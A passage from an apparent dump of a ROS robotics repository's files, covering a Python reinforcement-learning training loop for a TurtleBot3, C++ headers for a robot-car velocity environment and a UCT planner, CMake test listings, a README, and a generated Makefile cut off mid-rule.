np.append(X_batch, test, axis = 0)\n X_batch2 = np.append(X_batch2, np.asarray(actions).reshape(1,2), axis = 0) \n\n\n Y_batch = np.append(Y_batch, Y_sample)\n\n\n\n self.critic.fit([X_batch, X_batch2], Y_batch, batch_size=self.batch_size, epochs=1, verbose=0)\n\twith tf.Session() as sess:\n\t #grads=self.action_grads, feed_dict={\n \t#self.state: states,\n \t#self.action: actions}\t\n\t\tgrads =self.gradients(X_batch, X_batch2)\n\t #print X_batch.shape\n\t #print grads.shape\n\t\tself.train(X_batch, grads)\n\n env.unpause_proxy()\n\n\n#need to analyze\nif __name__ == '__main__':\n rospy.init_node('turtlebot3_dqn_stage_1')\n pub_result = rospy.Publisher('result', Float32MultiArray, queue_size=5)\n pub_get_action = rospy.Publisher('get_action', Float32MultiArray, queue_size=5)\n result = Float32MultiArray()\n get_action = Float32MultiArray()\n past_action = [0.0,0.0]\n state_size = 12\n action_size = 5\n\n env = Env(action_size)\n\n agent = ReinforceAgent(state_size, action_size)\n scores, episodes = [], []\n global_step = 0\n start_time = time.time()\n\n for e in range(agent.load_episode + 1, EPISODES):\n done = False\n state = env.reset()\n score = 0\n\t\n for t in range(agent.episode_step):\n action = agent.getAction(state)\n\t #print action\n\t #print \"ACTION IS PRINTED\"\n next_state, reward, done = env.step(action, past_action)\n\t #print len(state), \"\\n\"\n agent.appendMemory(state, action, reward, next_state, done)\n\n if len(agent.memory) >= agent.train_start:\n if global_step <= agent.target_update:\n agent.trainModel()\n else:\n agent.trainModel(True)\n\n score += reward\n state = next_state\n get_action.data = [action, score, reward]\n pub_get_action.publish(get_action)\n\t past_action = action\n #if e % 10 == 0:#\n # agent.model.save(agent.dirPath + str(e) + '.h5')#\n # with open(agent.dirPath + str(e) + '.json', 'w') as outfile:\n # json.dump(param_dictionary, outfile)\n\n if t >= 400:\n rospy.loginfo(\"Time out!!\")\n done = True\n\n if done:\n result.data = [score, np.max(agent.q_value)]\n pub_result.publish(result)\n agent.updateTargetModel()\n scores.append(score)\n episodes.append(e)\n m, s = divmod(int(time.time() - start_time), 60)\n h, m = divmod(m, 60)\n\n rospy.loginfo('Ep: %d score: %.2f memory: %d epsilon: %.2f time: %d:%02d:%02d',\n e, score, len(agent.memory), agent.epsilon, h, m, s)\n param_keys = ['epsilon']\n param_values = [agent.epsilon]\n param_dictionary = dict(zip(param_keys, param_values))\n break\n\n global_step += 1\n # if global_step % agent.target_update == 0:\n # rospy.loginfo(\"UPDATE TARGET NETWORK\")\n\n if agent.epsilon > agent.epsilon_min:\n agent.epsilon *= agent.epsilon_decay\n" }, { "alpha_fraction": 0.7103658318519592, "alphanum_fraction": 0.7198932766914368, "avg_line_length": 29.160919189453125, "blob_id": "13fa647f1b807f2edb5580f61e8dec29ff5c0cbd", "content_id": "9a1f83f36d4a8b7ffc43f4e597924f425008c2b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2624, "license_type": "no_license", "max_line_length": 135, "num_lines": 87, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/include/rl_env/RobotCarVel.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file RobotCarVel.hh\n This domain is a simulation of velocity control for the Austin Robot \n Technology autonomous vehicle. \n This vehicle is described in:\n Beeson et al, \"Multiagent Interactions in Urban Driving,\" Journal of Physical Agents, March 2008.\n The velocity control task is described in:\n Hester, Quinlan, and Stone, \"A Real-Time Model-Based Reinforcement Learning Architecture for Robot Control\", arXiv 1105.1749, 2011.\n \\author Todd Hester\n*/\n\n#ifndef _ROBOTCAR_H_\n#define _ROBOTCAR_H_\n\n#include <set>\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n\n/** This class defines a domain that is a simulation of velocity control for the Austin Robot \n Technology autonomous vehicle. */\nclass RobotCarVel: public Environment {\npublic:\n\n /** Creates a RobotCarVel domain.\n \\param rand Random number generator \n \\param randomVel Use random starting and target velocities\n \\param upVel For specific velocity pair (not random), do target > starting vel\n \\param tenToSix Use 10 and 6 m/s for specific velocity pair, rather than 7 and 2\n \\param lag Implements lag on the brake actuator to fully model the real vehicle.\n */\n RobotCarVel(Random &rand, bool randomVel, bool upVel, bool tenToSix, bool lag);\n\n virtual ~RobotCarVel();\n\n virtual const std::vector<float> &sensation() const;\n virtual float apply(int action);\n\n virtual bool terminal() const;\n virtual void reset();\n\n virtual int getNumActions();\n virtual void getMinMaxFeatures(std::vector<float> *minFeat, std::vector<float> *maxFeat);\n virtual void getMinMaxReward(float* minR, float* maxR);\n\n /** Set the state vector for debug purposes. */\n void setSensation(std::vector<float> newS);\n\n virtual std::vector<experience> getSeedings();\n\n /** Get an experience seed at a random velocity for the given target velocity. */\n experience getRandomVelSeed(float target);\n\n /** Get an example experience for the given state-action. */\n experience getExp(float s0, float s1, float s2, float s3, int a);\n\n //virtual bool isEpisodic() { return false; };\n\n /** Bound a value between the given min and max. */\n float bound(float val, float min, float max);\n\nprotected:\n enum car_action_t {NOTHING, THROTTLE_UP, THROTTLE_DOWN, BRAKE_UP, BRAKE_DOWN};\n\nprivate:\n\n Random &rng;\n\n std::vector<float> s;\n std::vector<float> hidden;\n \n float &targetVel;\n float &currVel;\n float &trueThrottle;\n float &trueBrake;\n float &throttleTarget;\n float &brakeTarget;\n\n const bool randomVel;\n const bool upVel;\n const bool tenToSix;\n const bool lag;\n\n float brakePosVel;\n int actNum;\n\n};\n\n#endif\n" }, { "alpha_fraction": 0.6919922828674316, "alphanum_fraction": 0.694298505783081, "avg_line_length": 32.35470199584961, "blob_id": "3a364e4d421c6bb303de9a185230e9f0e7f4acb1", "content_id": "b2e4caa1d6820ada4c58cbc238408e22dbd194f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7806, "license_type": "no_license", "max_line_length": 322, "num_lines": 234, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Planners/PO_ETUCT.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file PO_ETUCT.hh\n Defines UCT with eligiblity traces, and plans over states augmented with k-action histories.\n A modified version of UCT \n as presented in:\n L. Kocsis and C. Szepesvยดari, \"Bandit based monte-carlo planning,\" in\n ECML-06. Number 4212 in LNCS. Springer, 2006, pp. 282-293.\n \\author Todd Hester\n*/\n\n#ifndef _PO_ETUCT_HH_\n#define _PO_ETUCT_HH_\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n\n#include \"../Models/FactoredModel.hh\"\n\n#include <set>\n#include <vector>\n#include <map>\n#include <deque>\n\n/** This class defines a modified version of UCT, which plans on a model using Monte Carlo rollouts. Unlike the original UCT, it does not separate values by tree depth, and it incorporates eligibility traces. This version plans over states augmented with k-action histories, for delayed or partially observable domains. */\nclass PO_ETUCT: public Planner {\npublic:\n\n /** Standard constructor\n \\param numactions, numactions in the domain\n \\param gamma discount factor\n \\param rrange range of one-step rewards in the domain\n \\param lambda for use with eligibility traces\n \\param MAX_ITER maximum number of MC rollouts to perform\n \\param MAX_TIME maximum amount of time to run Monte Carlo rollouts\n \\param MAX_DEPTH maximum depth to perform rollout to\n \\param modelType specifies model type\n \\param featmax maximum value of each feature\n \\param featmin minimum value of each feature\n \\param statesPerDim # of values to discretize each feature into\n \\param trackActual track actual real-valued states (or just discrete states)\n \\param history # of previous actions to use for delayed domains\n \\param rng random number generator\n */\n PO_ETUCT(int numactions, float gamma, float rrange, float lambda,\n int MAX_ITER, float MAX_TIME, int MAX_DEPTH, int modelType,\n const std::vector<float> &featmax, const std::vector<float> &featmin,\n const std::vector<int> &statesPerDim, bool trackActual, \n int history, Random rng = Random());\n \n /** Unimplemented copy constructor: internal state cannot be simply\n copied. */\n PO_ETUCT(const PO_ETUCT &);\n\n virtual ~PO_ETUCT();\n\n virtual void setModel(MDPModel* model);\n virtual bool updateModelWithExperience(const std::vector<float> &last, \n int act, \n const std::vector<float> &curr, \n float reward, bool term);\n virtual void planOnNewModel();\n virtual int getBestAction(const std::vector<float> &s);\n\n virtual void setSeeding(bool seed);\n virtual void setFirst();\n\n /** Output value function to a file */\n void logValues(ofstream *of, int xmin, int xmax, int ymin, int ymax);\n \n /** Return a discretized version of the input state. */\n std::vector<float> discretizeState(const std::vector<float> &s);\n\n bool PLANNERDEBUG;\n bool MODELDEBUG;\n bool ACTDEBUG;\n bool UCTDEBUG;\n bool REALSTATEDEBUG;\n bool HISTORYDEBUG;\n\n /** MDPModel that we're using with planning */\n MDPModel* model;\n\n /** The implementation maps all sensations to a set of canonical\n pointers, which serve as the internal representation of\n environment state. */\n typedef const std::vector<float> *state_t;\n\n\nprotected:\n\n\n struct state_info;\n struct model_info;\n\n /** A struct that contains a vector of possible next state samples, weighted by their probabilities. */\n struct state_samples {\n std::vector<state_t> samples;\n };\n\n /** State info struct. Maintains visit counts, models, and q-values for state-actions. */\n struct state_info {\n\n // data filled in from models\n StateActionInfo* model;\n\n // q values from policy creation\n std::vector<float> Q;\n\n // uct experience data\n int uctVisits;\n std::vector<int> uctActions;\n short unsigned int visited;\n short unsigned int id;\n\n // needs update\n bool needsUpdate;\n\n };\n\n\n /** Initialize state info struct */\n void initStateInfo(state_t s, state_info* info);\n \n /** Produces a canonical representation of the given sensation.\n \\param s The current sensation from the environment.\n \\return A pointer to an equivalent state in statespace. */\n state_t canonicalize(const std::vector<float> &s);\n\n /** Delete a state_info struct */\n void deleteInfo(state_info* info);\n \n /** Initialize a new state */\n void initNewState(state_t s);\n \n /** Compuate a policy from a model */\n void createPolicy();\n \n /** Print information for each state. */\n void printStates();\n \n /** Calculate which states are reachable from states the agent has actually visited. */\n void calculateReachableStates();\n \n /** Remove states from set that were deemed unreachable. */\n void removeUnreachableStates();\n\n /** Update the state_info copy of the model for the given state-action from the MDPModel */\n void updateStateActionFromModel(state_t s, int a, state_info* info);\n\n /** Update the state_info copy of the model for the given state-action and k-action history from the MDPModel. */\n void updateStateActionHistoryFromModel(const std::vector<float> modState, int a, StateActionInfo *newModel);\n\n /** Get the current time in seconds */\n double getSeconds();\n\n /** Reset UCT visit counts to some baseline level (to decrease our confidence in q-values because model has changed. */\n void resetUCTCounts();\n \n /** Perform UCT/Monte Carlo rollout from the given state.\n If terminal or at depth, return some reward.\n Otherwise, select an action based on UCB.\n Simulate action to get reward and next state.\n Call search on next state at depth+1 to get reward return from there on.\n Update q value towards new value: reward + gamma * searchReturn\n Update visit counts for confidence bounds\n Return q\n \n From \"Bandit Based Monte Carlo Planning\" by Kocsis and Szepesvยดari.\n */\n float uctSearch(const std::vector<float> &actualS, state_t state, int depth);\n \n /** Return a sampled state from the next state distribution of the model. \n Simulate the next state from the given state, action, and possibly history of past actions. */\n std::vector<float> simulateNextState(const std::vector<float> &actualState, state_t discState, state_info* info, int action, float* reward, bool* term);\n \n /** Select UCT action based on UCB1 algorithm. */\n int selectUCTAction(state_info* info);\n \n /** Canonicalize all the next states predicted by this model. */\n void canonNextStates(StateActionInfo* modelInfo);\n \n virtual void savePolicy(const char* filename);\n \n /** Add two vectors together. */\n std::vector<float> addVec(const std::vector<float> &a, const std::vector<float> &b);\n \n /** Subtract two vectors. */\n std::vector<float> subVec(const std::vector<float> &a, const std::vector<float> &b);\n\nprivate:\n\n /** Set of all distinct sensations seen. Pointers to elements of\n this set serve as the internal representation of the environment\n state. */\n std::set<std::vector<float> > statespace;\n\n /** Hashmap mapping state vectors to their state_info structs. */\n std::map<state_t, state_info> statedata;\n\n /** Current history of previous actions. */\n std::deque<float> saHistory;\n\n std::vector<float> featmax;\n std::vector<float> featmin;\n \n state_t prevstate;\n int prevact;\n state_info* previnfo;\n\n double planTime;\n\n bool seedMode;\n\n int nstates;\n int nactions; \n int lastUpdate;\n bool timingType;\n\n const int numactions;\n const float gamma;\n const float rrange;\n const float lambda;\n\n const int MAX_ITER;\n const float MAX_TIME;\n const int MAX_DEPTH;\n const int modelType;\n const std::vector<int> &statesPerDim;\n const bool trackActual;\n const int HISTORY_SIZE;\n const int HISTORY_FL_SIZE;\n\n};\n\n#endif\n" }, { "alpha_fraction": 0.7769516706466675, "alphanum_fraction": 0.7918215394020081, "avg_line_length": 35.681819915771484, "blob_id": "326f9a3c1b3c6e789c178af895c869ec61d98c3a", "content_id": "b01f7b0298b9ca590cac4c79a58bbac46e590be3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 1614, "license_type": "no_license", "max_line_length": 71, "num_lines": 44, "path": "/build/CTestTestfile.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# CMake generated Testfile for \n# Source directory: /home/justin/ros_test/src\n# Build directory: /home/justin/ros_test/build\n# \n# This file includes the relevant testing commands required for \n# testing this directory and lists subdirectories to be tested as well.\nsubdirs(\"gtest\")\nsubdirs(\"boost-python-catkin-example-master\")\nsubdirs(\"gmapping_example\")\nsubdirs(\"hector_example\")\nsubdirs(\"mybot_control\")\nsubdirs(\"mybot_description\")\nsubdirs(\"mybot_gazebo\")\nsubdirs(\"mybot_navigation\")\nsubdirs(\"robot_sensors\")\nsubdirs(\"rl-texplore-ros-pkg-master/src/rl_msgs\")\nsubdirs(\"turtlebot3/turtlebot3\")\nsubdirs(\"turtlebot3_machine_learning\")\nsubdirs(\"turtlebot3_msgs\")\nsubdirs(\"turtlebot3/turtlebot3_navigation\")\nsubdirs(\"turtlebot3_simulations/turtlebot3_simulations\")\nsubdirs(\"ugv_course_gazebo\")\nsubdirs(\"ugv_course_launch\")\nsubdirs(\"mybot_cpp\")\nsubdirs(\"rl-texplore-ros-pkg-master/src/rl_common\")\nsubdirs(\"roundbot_control\")\nsubdirs(\"simple_navigation_goals\")\nsubdirs(\"mantis_model\")\nsubdirs(\"rl-texplore-ros-pkg-master/src/rl_agent\")\nsubdirs(\"rl-texplore-ros-pkg-master/src/rl_env\")\nsubdirs(\"rl-texplore-ros-pkg-master/src/rl_experiment\")\nsubdirs(\"roundbot_gazebo\")\nsubdirs(\"state_space_example\")\nsubdirs(\"turtlebot3/turtlebot3_bringup\")\nsubdirs(\"turtlebot3_ddpg\")\nsubdirs(\"turtlebot3_dqn\")\nsubdirs(\"turtlebot3/turtlebot3_example\")\nsubdirs(\"turtlebot3_simulations/turtlebot3_fake\")\nsubdirs(\"turtlebot3_simulations/turtlebot3_gazebo\")\nsubdirs(\"turtlebot3/turtlebot3_slam\")\nsubdirs(\"turtlebot3/turtlebot3_teleop\")\nsubdirs(\"ugv_course_libs\")\nsubdirs(\"roundbot_description\")\nsubdirs(\"turtlebot3/turtlebot3_description\")\n" }, { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 13, "blob_id": "fd5c121a3e6fdfbbae17966692f9c9a921b7580a", "content_id": "e878f4337a055f06effaaa30c97642c5a628c5cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 28, "license_type": "no_license", "max_line_length": 16, "num_lines": 2, "path": "/README.md", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# ros-test\nthis is ros test\n" }, { "alpha_fraction": 0.7425464987754822, "alphanum_fraction": 0.7579454779624939, "avg_line_length": 37.71428680419922, "blob_id": "ca16078cf570611015dcc8d48da30f78b6c07ae0", "content_id": "f817eba68d04b4a42d4bba26fdb3292725dd7aff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 20326, "license_type": "no_license", "max_line_length": 214, "num_lines": 525, "path": "/build/homework2/Makefile", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# CMAKE generated file: DO NOT EDIT!\n# Generated by \"Unix Makefiles\" Generator, CMake Version 3.10\n\n# Default target executed when no arguments are given to make.\ndefault_target: all\n\n.PHONY : default_target\n\n# Allow only one \"make -f Makefile2\" at a time, but pass parallelism.\n.NOTPARALLEL:\n\n\n#=============================================================================\n# Special targets provided by cmake.\n\n# Disable implicit rules so canonical targets will work.\n.SUFFIXES:\n\n\n# Remove some rules from gmake that .SUFFIXES does not remove.\nSUFFIXES =\n\n.SUFFIXES: .hpux_make_needs_suffix_list\n\n\n# Suppress display of executed commands.\n$(VERBOSE).SILENT:\n\n\n# A target that is always out of date.\ncmake_force:\n\n.PHONY : cmake_force\n\n#=============================================================================\n# Set environment variables for the build.\n\n# The shell in which to execute make rules.\nSHELL = /bin/sh\n\n# The CMake executable.\nCMAKE_COMMAND = /usr/bin/cmake\n\n# The command to remove a file.\nRM = /usr/bin/cmake -E remove -f\n\n# Escaping for special characters.\nEQUALS = =\n\n# The top-level source directory on which CMake was run.\nCMAKE_SOURCE_DIR = /home/justin/ros_test/src\n\n# The top-level build directory on which CMake was run.\nCMAKE_BINARY_DIR = /home/justin/ros_test/build\n\n#=============================================================================\n# Targets provided globally by CMake.\n\n# Special rule for the target install/strip\ninstall/strip: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip\n\n# Special rule for the target install/strip\ninstall/strip/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip/fast\n\n# Special rule for the target install\ninstall: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install\n\n# Special rule for the target install\ninstall/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install/fast\n\n# Special rule for the target list_install_components\nlist_install_components:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Available install components are: \\\"Unspecified\\\"\"\n.PHONY : list_install_components\n\n# Special rule for the target list_install_components\nlist_install_components/fast: list_install_components\n\n.PHONY : list_install_components/fast\n\n# Special rule for the target rebuild_cache\nrebuild_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running CMake to regenerate build system...\"\n\t/usr/bin/cmake -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR)\n.PHONY : rebuild_cache\n\n# Special rule for the target rebuild_cache\nrebuild_cache/fast: rebuild_cache\n\n.PHONY : rebuild_cache/fast\n\n# Special rule for the target edit_cache\nedit_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"No interactive CMake dialog available...\"\n\t/usr/bin/cmake -E echo No\\ interactive\\ CMake\\ dialog\\ available.\n.PHONY : edit_cache\n\n# Special rule for the target edit_cache\nedit_cache/fast: edit_cache\n\n.PHONY : edit_cache/fast\n\n# Special rule for the target install/local\ninstall/local: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local\n\n# Special rule for the target install/local\ninstall/local/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local/fast\n\n# Special rule for the target test\ntest:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running tests...\"\n\t/usr/bin/ctest --force-new-ctest-process $(ARGS)\n.PHONY : test\n\n# Special rule for the target test\ntest/fast: test\n\n.PHONY : test/fast\n\n# The main all target\nall: cmake_check_build_system\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles /home/justin/ros_test/build/homework2/CMakeFiles/progress.marks\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/all\n\t$(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles 0\n.PHONY : all\n\n# The main clean target\nclean:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/clean\n.PHONY : clean\n\n# The main clean target\nclean/fast: clean\n\n.PHONY : clean/fast\n\n# Prepare targets for installation.\npreinstall: all\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/preinstall\n.PHONY : preinstall\n\n# Prepare targets for installation.\npreinstall/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/preinstall\n.PHONY : preinstall/fast\n\n# clear depends\ndepend:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 1\n.PHONY : depend\n\n# Convenience name for target.\nhomework2/CMakeFiles/homework2_gencpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/CMakeFiles/homework2_gencpp.dir/rule\n.PHONY : homework2/CMakeFiles/homework2_gencpp.dir/rule\n\n# Convenience name for target.\nhomework2_gencpp: homework2/CMakeFiles/homework2_gencpp.dir/rule\n\n.PHONY : homework2_gencpp\n\n# fast build rule for target.\nhomework2_gencpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/homework2_gencpp.dir/build.make homework2/CMakeFiles/homework2_gencpp.dir/build\n.PHONY : homework2_gencpp/fast\n\n# Convenience name for target.\nhomework2/CMakeFiles/homework2_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/CMakeFiles/homework2_generate_messages_py.dir/rule\n.PHONY : homework2/CMakeFiles/homework2_generate_messages_py.dir/rule\n\n# Convenience name for target.\nhomework2_generate_messages_py: homework2/CMakeFiles/homework2_generate_messages_py.dir/rule\n\n.PHONY : homework2_generate_messages_py\n\n# fast build rule for target.\nhomework2_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/homework2_generate_messages_py.dir/build.make homework2/CMakeFiles/homework2_generate_messages_py.dir/build\n.PHONY : homework2_generate_messages_py/fast\n\n# Convenience name for target.\nhomework2/CMakeFiles/homework2_geneus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/CMakeFiles/homework2_geneus.dir/rule\n.PHONY : homework2/CMakeFiles/homework2_geneus.dir/rule\n\n# Convenience name for target.\nhomework2_geneus: homework2/CMakeFiles/homework2_geneus.dir/rule\n\n.PHONY : homework2_geneus\n\n# fast build rule for target.\nhomework2_geneus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/homework2_geneus.dir/build.make homework2/CMakeFiles/homework2_geneus.dir/build\n.PHONY : homework2_geneus/fast\n\n# Convenience name for target.\nhomework2/CMakeFiles/homework2_generate_messages_cpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/CMakeFiles/homework2_generate_messages_cpp.dir/rule\n.PHONY : homework2/CMakeFiles/homework2_generate_messages_cpp.dir/rule\n\n# Convenience name for target.\nhomework2_generate_messages_cpp: homework2/CMakeFiles/homework2_generate_messages_cpp.dir/rule\n\n.PHONY : homework2_generate_messages_cpp\n\n# fast build rule for target.\nhomework2_generate_messages_cpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/homework2_generate_messages_cpp.dir/build.make homework2/CMakeFiles/homework2_generate_messages_cpp.dir/build\n.PHONY : homework2_generate_messages_cpp/fast\n\n# Convenience name for target.\nhomework2/CMakeFiles/_homework2_generate_messages_check_deps_string_cat.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/CMakeFiles/_homework2_generate_messages_check_deps_string_cat.dir/rule\n.PHONY : homework2/CMakeFiles/_homework2_generate_messages_check_deps_string_cat.dir/rule\n\n# Convenience name for target.\n_homework2_generate_messages_check_deps_string_cat: homework2/CMakeFiles/_homework2_generate_messages_check_deps_string_cat.dir/rule\n\n.PHONY : _homework2_generate_messages_check_deps_string_cat\n\n# fast build rule for target.\n_homework2_generate_messages_check_deps_string_cat/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/_homework2_generate_messages_check_deps_string_cat.dir/build.make homework2/CMakeFiles/_homework2_generate_messages_check_deps_string_cat.dir/build\n.PHONY : _homework2_generate_messages_check_deps_string_cat/fast\n\n# Convenience name for target.\nhomework2/CMakeFiles/homework2_generate_messages.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/CMakeFiles/homework2_generate_messages.dir/rule\n.PHONY : homework2/CMakeFiles/homework2_generate_messages.dir/rule\n\n# Convenience name for target.\nhomework2_generate_messages: homework2/CMakeFiles/homework2_generate_messages.dir/rule\n\n.PHONY : homework2_generate_messages\n\n# fast build rule for target.\nhomework2_generate_messages/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/homework2_generate_messages.dir/build.make homework2/CMakeFiles/homework2_generate_messages.dir/build\n.PHONY : homework2_generate_messages/fast\n\n# Convenience name for target.\nhomework2/CMakeFiles/homework2_genlisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/CMakeFiles/homework2_genlisp.dir/rule\n.PHONY : homework2/CMakeFiles/homework2_genlisp.dir/rule\n\n# Convenience name for target.\nhomework2_genlisp: homework2/CMakeFiles/homework2_genlisp.dir/rule\n\n.PHONY : homework2_genlisp\n\n# fast build rule for target.\nhomework2_genlisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/homework2_genlisp.dir/build.make homework2/CMakeFiles/homework2_genlisp.dir/build\n.PHONY : homework2_genlisp/fast\n\n# Convenience name for target.\nhomework2/CMakeFiles/homework2_generate_messages_eus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/CMakeFiles/homework2_generate_messages_eus.dir/rule\n.PHONY : homework2/CMakeFiles/homework2_generate_messages_eus.dir/rule\n\n# Convenience name for target.\nhomework2_generate_messages_eus: homework2/CMakeFiles/homework2_generate_messages_eus.dir/rule\n\n.PHONY : homework2_generate_messages_eus\n\n# fast build rule for target.\nhomework2_generate_messages_eus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/homework2_generate_messages_eus.dir/build.make homework2/CMakeFiles/homework2_generate_messages_eus.dir/build\n.PHONY : homework2_generate_messages_eus/fast\n\n# Convenience name for target.\nhomework2/CMakeFiles/homework2_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/CMakeFiles/homework2_generate_messages_nodejs.dir/rule\n.PHONY : homework2/CMakeFiles/homework2_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\nhomework2_generate_messages_nodejs: homework2/CMakeFiles/homework2_generate_messages_nodejs.dir/rule\n\n.PHONY : homework2_generate_messages_nodejs\n\n# fast build rule for target.\nhomework2_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/homework2_generate_messages_nodejs.dir/build.make homework2/CMakeFiles/homework2_generate_messages_nodejs.dir/build\n.PHONY : homework2_generate_messages_nodejs/fast\n\n# Convenience name for target.\nhomework2/CMakeFiles/homework2_generate_messages_lisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/CMakeFiles/homework2_generate_messages_lisp.dir/rule\n.PHONY : homework2/CMakeFiles/homework2_generate_messages_lisp.dir/rule\n\n# Convenience name for target.\nhomework2_generate_messages_lisp: homework2/CMakeFiles/homework2_generate_messages_lisp.dir/rule\n\n.PHONY : homework2_generate_messages_lisp\n\n# fast build rule for target.\nhomework2_generate_messages_lisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/homework2_generate_messages_lisp.dir/build.make homework2/CMakeFiles/homework2_generate_messages_lisp.dir/build\n.PHONY : homework2_generate_messages_lisp/fast\n\n# Convenience name for target.\nhomework2/CMakeFiles/homework2_genpy.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/CMakeFiles/homework2_genpy.dir/rule\n.PHONY : homework2/CMakeFiles/homework2_genpy.dir/rule\n\n# Convenience name for target.\nhomework2_genpy: homework2/CMakeFiles/homework2_genpy.dir/rule\n\n.PHONY : homework2_genpy\n\n# fast build rule for target.\nhomework2_genpy/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework2/CMakeFiles/homework2_genpy.dir/build.make homework2/CMakeFiles/homework2_genpy.dir/build\n.PHONY : homework2_genpy/fast\n\n# Convenience name for target.\nhomework2/CMakeFiles/pubsub_node.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework2/CMakeFiles/pubsub_node.dir/rule\n.PHONY : homework2/CMakeFiles/pubsub_node.dir/rule\n\n# Convenience name for target.\npubsub_node: homework2/CMakeFiles/pubsub_node.dir/rule\n\n.PHONY : pubsub_node\n\n# fast build rule for target.\npubsub_node/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f 